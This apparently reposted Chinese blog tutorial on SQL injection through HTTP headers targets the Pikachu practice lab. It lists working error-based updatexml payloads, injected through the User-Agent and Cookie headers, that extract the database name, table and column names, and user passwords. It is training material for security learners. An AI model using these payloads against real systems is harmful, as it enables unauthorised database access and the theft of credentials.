SQL注入(四):http头部注入

抓包http头部注入一般分为:
user-agent:发出请求的用户信息,关于浏览器的信息;
cookie:用户身份信息;

user-agent

1、在pikahcu中进行;
2、登录账号进入之后,进行抓包;
3、在http头部中的 user-agent 进行注入 + ‘    看是否存在注入点;
4、出现报错 ,说明存在注入;
5、payload:
爆数据库:
User-Agent: ' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
爆数据表:
User-Agent: ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="pikachu"  limit 1,1),0x7e),1) or '
爆数据表:
User-Agent: ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 1,1),0x7e),1) or '
爆数据信息:
User-Agent:' or updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) or '

cookie

1、在cookie中 admin 后面加入  ‘   看是否报错;
2、出现报错,存在注入点;
3、payload:
爆数据库:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
爆数据表:
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="pikachu" limit 1,1),0x7e),1) or '
爆数据列:
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 1,1),0x7e),1) or '
爆数据信息:
' or updatexml(1,concat(0x7e,(select concat(username,password) from users limit 1,1),0x7e),1) or '
发布了49 篇原创文章 · 获赞 2 · 访问量 1509

猜你喜欢

转载自blog.csdn.net/weixin_45273343/article/details/102879442
今日推荐